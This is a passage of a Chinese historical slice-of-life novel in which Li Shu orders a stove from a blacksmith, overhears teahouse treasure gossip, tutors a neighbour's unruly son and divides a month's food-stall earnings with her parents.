可她也没当着女儿的面戳穿，只对着李姝说：“你爹抽风呢，别理他，快吃，
这是娘特意熬了许久的粥，可还合胃口？
要不要放些糖？你小时候可爱吃糖拌饭了，这拌粥应也是喜欢的，娘给你拿？”
李姝......娘，你也抽风了吗？
57. 第 57 章
李姝进城后第一时间去了铁匠铺。
“掌柜的，我是李姝，方便进来吗？”
声音自门外响起，张寒铮扭头朝门口望去，竟是没瞧见人。
他有些意外地挑眉，之前她胆子不是挺大的吗，如今倒是突然拘谨了？
“方便，客人请进。”
李姝跨门而入，入眼便对上了一对深眸，视线悄悄下移，哦豁，今日穿得挺整齐。
张寒铮......
不知道自己小心思被看破的李姝只若无其事开口：“掌柜的，我今日来是突然想到，我那火盆四周要穿些小的孔，方便通风，另外还要穿一个大些的方孔，可以添柴添炭。”
张寒铮熟练地拿起角落的笔，又拿了李姝上回画的草图递过去，“画下来。”
李姝抬手接过，低头却发现这并非是她上回的原稿。
这张图线条清晰匀称，干净利落，比她那黑乎乎的墨团好了不知多少倍。
手上几起几落，她愣是没敢下笔，只好转头道：“我上回那张草图呢？我在那草图上画吧？”
像是看出了李姝的心思，张寒铮轻声回道：“只是一张图纸，不是什么贵重的东西，你尽管画便是。”
李姝：这可是你说的。
于是，她起手落笔，图上出现了一条锯齿状的线，再抬手，图上又出现了一个锯齿状线条的矩形。
不一会儿，图上出现了大大小小粗细不一的圆。
圆画得太小，笔画又太粗，不一会便洇墨了，成了一个个黑乎乎的小墨团，很好，这张图彻底毁了。
李姝.....悄悄抬眼看向身旁，尴尬笑道：“要不，我再画一张？”
身旁的张寒铮倒是神色如常，只接过图纸道：“无妨。”
李姝生怕他看不懂，画不明白我还说不明白吗？于是她厚着脸皮凑到身旁指着画开始解释：“这便是我方才说的孔，这是可以添炭的灶口，这些是可通风散烟的通风口。”
突如其来的气息让张寒铮呼吸一滞，他垂眸往身侧看去，少女半低着头，许是屋内太热，她的鼻头沁着薄汗，湿润的皮肤白得像是泛着光一般，张寒铮觉得有些刺眼，他不敢再看，抬眸间却对上了清亮的双眸。
李姝疑惑眨眼，这是...没听懂？
正想再解释，身侧的人突然开口，“嗯，明白了。”说罢拿着图纸转身便走。
李姝看着走到角落顿住的人，更疑惑了，方才，这纸和笔我记着是在右边角落拿的？他在左边角落做什么？
张寒铮盯着眼前嗡嗡作响的火炉，若无其事地伸手拿了跟柴禾，塞进了火炉里。
又转身往右侧的角落走去，将纸笔放回了桌面。
李姝......差点以为我这画丑得他看不下去，所以准备干脆一把火烧了。
该说的话已说完，李姝打招呼离开，没瞧见身后店铺里，本来镇定自若的男子突然慌张地把柴禾夹了出来...
李姝出来便去了肉行，照例切了五斤五花肉，昨日五斤肉做了六十多个包子，卖得毫无压力，有些人甚至会买一个包子和一个馅饼，很显然，工人们大都已经接受了每日花个几文钱吃饭。
想了想李姝又加了一斤肉，爹娘都很喜欢吃她做的红烧肉，肯定都馋了。
一人便买了六斤多的肉，张大头高兴得送了李姝一筒猪血，还问李姝要不要其他内脏，要的话他一并送了。
其实李姝有点馋肥肠，可是她真的不想洗...
只好忍痛拒绝了。
昨日因着钱三的事，香料没买成，李姝便又转头去了固生堂买香料。
买完后到城北时已然过来昨日她遇见萧青璃的时辰，可却仍然未瞧见萧青璃。
李姝站在茶馆前有些犹豫，茶馆门口明晃晃地挂着一张木牌，上面写着一碗茶两文钱起。
她在一旁等了约半刻钟，终于咬咬牙，买了碗最便宜的粗茶。
茶馆内整齐摆放的座位并没有人，反倒是门外坐了好几桌客人。
李姝本想往茶馆内走去，却突然听到有一桌人在谈论着山匪，她顿时停住了脚步，在茶馆外找了个空闲的桌子坐了下来。
她坐在了那桌人的后面，背对着他们，那桌一共有三人，其中一个壮硕的络腮胡男子便是方才提了山匪的人。
他接着道：“听说那山头压根不是什么山匪，而是藏着金银珠宝！”
他右侧的矮胖男子明显不信，嗤笑道：“哪里来的金银珠宝？”
左侧的黑脸男子亦附和：“就是，若真有，哪会只派那么点人守在山脚，怕是左左右右全都围起来了。”
络腮胡男子反驳：“那是官府还没找到位置，听说清平军日日带着个道士上山，就是在找呢！”
矮胖男子：“难不成那道士还有狗鼻子，能闻到金银的味道？”
络腮胡男子：“自古那金银财宝若是要藏起来，定是要弄个八卦阵法，听说那道士正是精于此道。”
矮胖男子：“说得仿佛真有其事，若真是金银财宝，那定是有主吧？是谁藏在我们平山县的？”
络腮胡男子低头，有些神秘地指了指北边，意思不言而喻，“听说是前朝余孽的。”
这话更是让人信不起来，黑脸男子打断道：“前朝余孽早就被先皇灭了个干净，哪还有人能藏什么金银？”
矮胖男子：
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“就是，你这说谎话连眼皮都不眨，尽是胡扯！”
络腮胡男子也不恼，端着一副气定神闲的模样，“这可是我一个远方表哥跟我说的，他在那县衙里是办得是要紧差事，他的消息自是不会假。”
这话一出，倒是让两人少了些质疑，矮胖男子半信半疑地道：“那前朝余孽怎么会在我们平山县藏财物？”
谁都知道，定州才是前朝余孽的据地，先皇曾亲自率军灭了他们。
络腮胡男子：“直系自然不会到平山县，可你们难道忘了八年前华安县那个知县的事了？他那会可是被判了谋反之罪，好不容易换来太平，谁会谋反，不就是前朝余孽吗？”
连具体的人都说出来了，这话倒是多了些可信度。
黑脸男子也听了进去，接着问：“他不是华安县的吗，怎地跑到我们平山县藏财物？”
络腮胡男子翻了个白眼，“这有何不明白的，平山县和华安县隔得又不远，咱们平山县山脉众多，他藏到这里也并非没有道理。”
李姝听了半晌，连茶都没喝，这大哥说得煞有其事的，她一时还真没办法分辨。
只是，若真的有财物，恐怕也不会将消息传得连他都知道了吧？靠那远方表哥也不行。
大概率是个吹牛不打草稿的事，李姝却还是听得津津有味，期间萧青璃一直没来。
坐了约莫两刻钟，一个年轻的男子突然走了过来，对着李姝行了行礼。
周围坐着的茶客都被吸引了目光，纷纷瞧着李姝，以为遇到了哪家的贵女，可看了李姝的打扮，却又都默契地转回了目光。
李姝也疑惑，这人她并不认识，只是看他穿的衣服，像是上次阿璃骑马经过桃李村时那些侍从的穿着？
来人十分恭敬，拱手说道：“李小姐，我家小姐今日有事耽搁了，无法赴约，便派小的过来和您说一声，她说明日再来找您。”
“你家小姐是指阿璃吗？”
侍从点头，“是的。”
李姝点头，“好，我知道了。”
正准备起身回家的李姝见侍从站在一旁并未离开，有些疑惑：“怎么了？”
“李小姐，您是否需要小的套车送您回去？”萧青璃吩咐过，若是李姝有任何需求，都要满足。
侍从看到了李姝身旁的背篓，也知道若是李姝有需求，恐怕也是这些肉的问题。
可李姝摇头拒绝了，她已经习惯了桃李村至县城的路，并不觉得多难熬，也不想一味地麻烦别人。
侍从倒是没有纠缠，只行了礼便离开了，颇为干脆利落。
李姝也随即离开，临走时只尝了口碗中的茶，嗯，一如她所料，难喝。
58. 第 58 章
进村时已是酉时正，深秋时分，落日的时辰越来越早，家家户户都已升起炊烟，村道上再没了闲聊的妇人。
走到大桃树下时，李姝正巧见到了桂香婶子从家里出来。
张桂香本是一脸焦急，看到李姝时顿时展开笑颜：“小姝，回来了？”
李姝点头：“桂香婶，你这是去哪？”
“家里的盐用完了，正要去里长家借点盐。”张桂香边说边往斜对门走去，“小姝，我的菜还在锅里，得快拿了盐回来，不跟你说了。”
话落时人已风风火火地进了对门的院子，声音在院外已开始响起：“月娥，我家盐用完了，快，快，快，拿点盐给我，菜要糊了。”
这话说得间隙十分密实，李姝压根没机会插进去。
最终她还是低声补了句：“好，婶子你快去吧！”
李姝自顾地进了院子，熟练地把背篓放在堂屋门外边上，进屋后只有莲花奶奶在桌旁坐着。
她早已习惯，只开口说道：“奶奶，我是小姝。”
莲花奶奶：“小姝啊，来找成贵吧？这小皮猴，怕是还没回来，快来奶奶这边坐着，等会你桂香婶子会把他叫回来的。”
李姝不客气地坐下，自从答应了桂香婶子要教她小儿子认字，她便三不五时地会到这坐一会。
她知道自己的能耐，如今不过就是一个拿着本科文凭的文盲，自己现在看书都还头晕呢，也正经教不了什么东西，最多就是教成贵认几个字，怕是连启蒙都不算。
“奶奶，您这是在做什么？”
莲花奶奶把东西递到了李姝眼下，笑得眼睛都眯起来了，“小姝，帮奶奶把这线穿过去，成贵这皮猴三不五日地就穿破一条裤子，我给他补补，不然太费布料了。”
李姝看着手上的针线有些无奈，您这眼神，能补得明白吗？她把线穿好，又把线团捋顺，递了回去。
正想劝她别补了，免得伤眼。
谁知接过针线的莲花奶奶上手便缝，李姝定睛一看，好家伙，一条蜈蚣正在成形。
张桂香此时正借了盐回来，进屋看了一眼便出声道：“哎哟，娘，您眼神不好就别缝了，明日我来弄。”
又对着李姝道：“小姝，你先坐会，我炒完这个菜便去叫成贵那臭小子过来！”
说罢便直奔灶房去了，幸好菜还没糊。
李姝：又没插上话...
而同样没插上话的莲花奶奶，正一脸严肃地将小蜈蚣变成大蜈蚣，嘴里还嘟嘟囔囔道：“不就是缝个裤子，又不费什么眼神，我现在弄好了，成贵回来今晚便能换上。”
李姝看着那一条明显不同颜色的大蜈蚣，他今晚怕是不会换上......
成贵这小朋友按桂香婶子的话来说，就是个讨债的，日日吃了饭便出门不见影，一天天除了玩还是玩，让他读书不仅浪费钱还浪费书。
李姝一开始见到这小朋友时便是他顶着个泥巴糊成的鸡窝头的英姿，气得桂香婶子拿着棍子追了好半晌。
而今晚...
看着蹭蹭跑进来的小男孩，李姝叹了口气，果然不出所料，还是一身泥巴。
泥巴小男孩看见李姝在，一个急刹便停住了，随后开始转身又跑了出去，动作流畅一气呵成，不带一点犹豫。
幸好被炒完一个菜的桂香婶子出来撞个正着，随即怒吼声响起：“你去哪？给老娘滚回来！”
泥巴小孩满身反骨，也不怕她娘，梗着脖子在院子里便开始顶嘴，“我才不回，我不学，我以后是要当将军的，我要练武，才不要认字！”
张桂香气得追了出去，院子里不久便传来了母子俩的大嗓门对话。
“李成贵！老娘几天没打你了让你皮痒了是吗？快给我下来！”
“不下！我不要认字！”
“反了你了！你以为爬树老娘就逮不到了？”
“啊！娘！你别抓了，我裤子要掉了！”
“你裤子掉又不是老娘裤子掉，为什么要放手？你下不下来？你不下来我就让你当众光屁股！”
为了保住自身清白的小皮猴终于妥协，不一会，张桂香拎着他走了进来。
看着明显不服气的小孩，李姝心下有些好笑，这不羁的眼神衬着更加不羁的发型，倒是颇有一番中二少年的气势。
张桂香把人往前一推，嫌弃地擦了擦手道：“快去洗手，洗完拿纸笔。”
暂时战败的中二少年并未真正妥协，仍然不服气地开口道：“我不学！”
“啪！”
张桂香一巴掌拍在了中二少年的屁股上，这时她也不嫌弃脏了，手脏了算什么，哪有打孩子重要。
“你再说一遍！”
被打的人倒是挺有骨气，被自家娘亲一路打一路躲到了莲花奶奶身后，他倒是还有些良心，没敢用自己的脏手靠在自家祖母身上。
“那破字有什么好认的，我哥我姐不也没认几个字吗，他们不照样还活得好好的？可见这认不认字也没什么要紧的。”
好家伙，还有论据。
莲花奶奶终于把蜈蚣缝成了，收了线便把身后的孙子拎了出来，“胡说什么？好好跟你小姝姐姐学认字，咱认了字没准往后也能当秀才，就像你小挺哥哥一样。”
这秀才又不能吃，在小朋友看来还不如一顿饭重要，“我不要当秀才，我要当将军！将军可比秀才威风多了！”
“你可知将军
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也是要认字的？”李姝没再让他们吵下去，总算是出声制止了。
这话让一脸叛逆的小孩停下了反抗，只一时沉默地看着李姝。
李姝继续开口：“你以为自己跑得快，身体壮实便能当将军了？当将军得会看兵书，你若是连兵书都看不懂，到了战场上怕是睁眼瞎，会被笑话的。”
也不知是不是这话一时震慑住了中二少年，他倒是没再高声抵触，只还是有些不服气地低声说：“我可以雇人给我读。”
张桂香被气笑了，他脑子倒是灵活，“方才还说将军威风呢，一个雇人给自己读兵书的将军哪里威风了？不就是个大字不识一个的大老粗吗？”
三人轮番上阵的结果是，中二少年终于坐在了桌前。
李姝正写着例字，突然听到旁边传来小声地抱怨：“小姝姐姐，你是叛徒！从前你和我二姐也不爱认字的，如今你却又来害我，哼！往后我二姐回来了我定要找她告状！”
李姝......
婶子，你还是过来打他一顿得了！
好不容易教完，李姝长舒一口气，立马开口告辞：“婶子，我回去了。”
“小姝，等等。”张桂香从灶房出来，又到后院拿了个背篓递给李姝，“今日你娘过来说是这背篓不小心砸了个窟窿，你宝川叔已经补好了，正好拿回去给你娘。”
背篓砸了个窟窿？
李姝伸手接过，“好，麻烦婶子了！”
“说什么客气话呢！快回去吧，婶子也不留你，成贵这臭小子耽搁了不少时辰，这会儿你爹娘怕是等急了。”
确实没什么好客气的，李姝转身背起那六斤重的猪肉，又提着个空的背篓出了门。
张桂香站在门口瞧着远去的背影，有些感慨：“小姝如今倒是长大了许多。”
从前的她胆子小，见人都是怯生生的，如今说话做事都带着些落落大方，越发像个大人了。
身旁传来小小少年的附和声：“可不是吗？小姝姐姐如今都不爱跟我玩了！”
张桂香伸手拧着自家儿子的耳朵，气不打一处来，“一天到晚就知道玩！你小姝姐姐现在日日帮着家里赚钱，你呢？老娘费尽心思让你认个字跟让你上吊似的，你什么时候能像你小姝姐姐那般听话懂事？啊？”
“疼疼疼，娘，你放手！小姝姐姐是女的，你怎么能拿我跟她比？”
“难道你还有脸跟你小挺哥哥比？他是秀才！你是个连字都不认识的小老粗，你小姝姐姐教了你半晌，老娘都知道那张字怎么写，就你听了一晚上还记不住！老娘是做了什么孽生了你这么个讨债鬼！”
新一轮的棒打儿子开始上演，嚎叫声至少响彻了好几里......
59. 第 59 章
“爹，娘，我回来了！”
李姝一进院子便放下了背篓，六斤多的肉背了一路，背带太细，勒得她肩膀酸疼不已。
她走进堂屋，发现并没有人，又把猪血拿到灶房倒进大碗，随后拿了大盆出来，准备清洗猪肉。
灶房亦没有人，李姝往爹娘的卧房处又喊了两声，仍然无人应答。
爹娘这是去哪了？
清洗完猪肉，李姝去地里摘了把韭菜洗净，将肉和菜拿进灶房后发现家里连热水都没烧，平日里娘都会早早烧好洗澡的水，好让爹能早点清洗，如今却是连火星都没有。
院子里也没有生柴，这是一块去砍生柴去了？
李姝来来回回往井边走了好几趟，总算是打好了水，又生起火把锅中的水烧热，爹娘还未回，她也不急着做饭，便趁着天没黑透，去地里浇了浇水。
这一趟又一趟地跑下来，李姝就算身体不错，也累得有些浑身酸痛了，她一屁股坐在了堂屋前的台阶上。
如今日日走上至少三个时辰，肉也越买越多，导致她如今每天都腰酸腿软，亏得她还年轻，每日睡上一觉便能生龙活虎，才没让她放弃，不然怕是还没赚到钱人便废了。
只是这也不是长久之法，其实最好还是他们一家在县里摆摊，只是，恐怕还遥遥无期。
唉，赚钱真难！
果然，爹娘的确一块去砍生柴了，两人回来时天已完全黑了。
“姝儿，怎地不点灯？”
李姝坐在堂屋门前的台阶上发呆，一时忘了，听她娘这么说才想起这事，立马起身回堂屋点了灯。
她一边倒水一边问：“一时忘了，娘，你们怎地这么晚回来？”
两人在院子里卸下了生柴，李忠顺手拿起了柴刀，就着屋里的亮光开始将柴砍成段，又把柴一一垒上。
张翠花进了堂屋，接过李姝倒的水答道：“你爹闲不住，下工回来也不休息，非要去砍柴，这犟驴，真是拗不过他。”
屋外的李忠闻言笑了笑，“这路要修要到年关，如今趁着天还没冷透，我能多出点力气便多出点，往后天冷了怕是都不愿意动。”
娘俩都知道，这话不是真话，可也没人戳穿他，只都默契地相视一笑，将这份沉默的爱放进了心里。
晚饭吃的是红烧肉和韭菜猪血，还有清炒南瓜，一家人对李姝的厨艺已经习惯了。
李忠又是最后收尾的那个，将猪血汤溜着缝咽下了肚，不出意外又打了个嗝。
饭后时间是一家人难得的闲聊时刻。
李姝：“娘，今日桂香婶子说你把背篓砸了个洞？”
李忠嘿嘿笑了，被自家婆娘眼神一撇，立马住了嘴。
张翠花难得有些不好意思，今日她到山上砍柴时碰见了吴红枚，两人因着看对方不顺眼便莫名其妙地攀比了起来。
两人为了让自家的柴火数量比过对方，都拼了命地垒，张翠花今日带着背篓，要把柴砍成段才好放进背篓里，速度上便比吴红枚慢了许多。
吴红枚绑好一捆柴时张翠花连背篓都没装满，便被吴红枚刺了好几眼，急得张翠花开始囫囵往篓子里塞，最后到家时才发现把篓子戳破了......
张翠花没好意思说自己这糗事给女儿听，只糊弄地说：“嗯，不小心踩了一脚。”
说完她还眼神警告了自家男人，让他闭嘴。
李忠听了这话果然差点笑出了声，只是刚咧开了嘴便在婆娘的压力下忍住了，只胸膛起伏着，一看便知道是在闷笑。
李姝早已习惯自家爹娘时不时地“眉来眼去”，唉，狗粮吃多了，也是会免疫的。
本就是为了消食闲聊，她又接着开口：“那背篓带子太细了，娘，咱家有没有用不着的布条。”
张翠花立马回道：“有。”说完正想起身去拿，看见自家男人还在笑，气不打一处来，“李忠，还不去洗碗，洗完去小库房把那碎布条拿来。”
李忠嘿笑着站起身，知道惹着自家婆娘了，见她拿自己出气，也没有任何不满，只顺从的开始收拾碗筷。
李姝赶忙制止：“等等。”
幸好还有自家女儿心疼，李忠心里甜滋滋，正想说不碍事不用女儿帮忙，谁知女儿又接了一句：“刚吃饱呢，爹等会再洗吧？”
还没等他坐下，李姝又接着说：“咱卖了一个多月的吃食，正好今日算算账，爹我房中床下有个罐子，你帮我拿出来。”
李忠......
也没什么，正好起身了，活动活动，嗯，活动活动。
张翠花赶忙起身把堂屋的门关了，数钱的事，当然不能外传。
李姝的钱罐子本就不大，如今快要满了，李忠顺手拿了个笸箩，将一罐子的铜钱倒了进去，三人都兴奋地开始数了起来。
张翠花不太会算数，她每数到五十便报给自家女儿，然后又从一开始数，李姝只好到书房拿了纸笔开始记。
最后数完竟是有一千七百多文，这比李忠一个月的工钱还多。
张翠花不可置信：“咱们一家人一个月赚了二两半？”
李姝点头，心里默默补了一句，确实是二两半，我那锅只付了定金，还差个一百多文钱，娘算得真准。
“哎呀，哎哟！这，这，这，我们这吃食竟是这般赚钱吗？”张翠花拿着钱有些不知所措，一开始她还会紧张地每日数一数钱，后来实在太忙，她再也没数过，哪知竟不知不觉赚了这般多。
李姝看着自家娘亲的激动样，也跟着兴奋了不少，她本来还觉得这钱太少，买不了驴也租不了铺子，但看着家人高兴地双眼放光，她竟莫名觉得值了。
她把钱分成了四堆，把其中两堆往自家爹娘边上推了过去，“爹，娘，这钱是咱们一家人赚的，每人都有相应的分红，这是你们俩的。”
两人不出所料地拒绝了，“姝儿，这钱不用给爹娘，你自己收好，往后也可以自己买些喜欢的东西，你哥哥平日里抄书的
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钱也是一样，我们都是不收的，
爹娘没本事，给不了你们兄妹俩更好的条件，让你们兄妹俩受了许多苦，这钱我们定是不会拿的，就当是爹娘给你们的零花钱。”
李姝早有准备：“爹，娘，往后我打算赚了钱去县里摆摊，等路修完了，我们要赚钱只能去县里，届时肯定是要爹娘一起忙活，爹和娘也不能再做别的活计，一家人一起赚钱当然是要一起花的。”
见两人还想拒绝，李姝又抢先开口道：“这钱是我算好了的，哥哥平时不在家所以他只能拿一成，剩下的九成我们三人一人三成，
爹以后负责剁馅，我和娘负责做和卖，往后到了县里，爹还要负责拉板车，咱们三人各出各的力，缺了谁都不行，爹娘要是不收，便是不愿意帮女儿一起卖吃食吗？”
两人急忙摇头，女儿这话一说李忠和张翠花也无可奈何，如今女儿又能拿主意又能说会道，他们一时竟是说不出反驳的话。
两人只好应下了，只是无论李姝怎么劝，他们也不愿一人拿三成，最后商量了半晌，同意了爹娘一共拿三成，李姝一人拿六成，而不在场的李挺则是被强制拿了一成，届时怕是又是一场说服与被说服，他恐怕一成都不会要。
爹娘说什么也不愿意多拿，李姝最后只得放弃，只心里默默定了个每月交家用的决定。
看着自家女儿迅速将钱又重新分了堆，李忠再也忍不住了，“姝儿，你不用算盘吗？”
瞧着女儿分得果断，李忠也丝毫不怀疑自家女儿算错了，只是他还是有些震惊，上回挺儿教姝儿拨算盘时不还说姝儿拨得不好吗？这么短的日子竟是连心算都会了？
李姝分钱的手都没停，熟练地开始糊弄，“不用，哥哥前些日子正好考过我，他出的数差不多，我才算得快些。”
李忠点头，竟是如此。
差点穿帮的人倒是没有一点心虚，只暗暗告诫自己下回要记得拿算盘装一下，等日子久了，就可以光明正大地说是我家秀才哥哥教得好，所以她能算得快些。
至于是真是假，他们还能去问不成。
钱分完了，自是要完成未尽的事，“李忠，快去洗碗！”
张翠花毫不客气地支使着自家男人，我生的女儿自是聪慧的，自家男人竟然还在这大惊小怪？
姝儿能靠自己琢磨出这么多好吃的，琢磨点算数不是也正常？还多余问。
李忠去洗碗了，张翠花还是自己去库房拿了碎布出来，开始缠背篓的背带，李姝则是去书房练字了。
拿起一张写完的大字欣赏，李姝满意地点了点头，如今她的字总算能写出点人样，字迹比一开始端正了不止一点点。
希望哥哥下回能笔下留情，一张纸不能还同以前一样圈一半......吧？
而爹娘房中，忙完的两口子一个把铜钱从头到尾又数了一遍，一个在狗腿地给自家婆娘按肩膀，毕竟，今日那生柴可是婆娘赌上了尊严硬背回来的......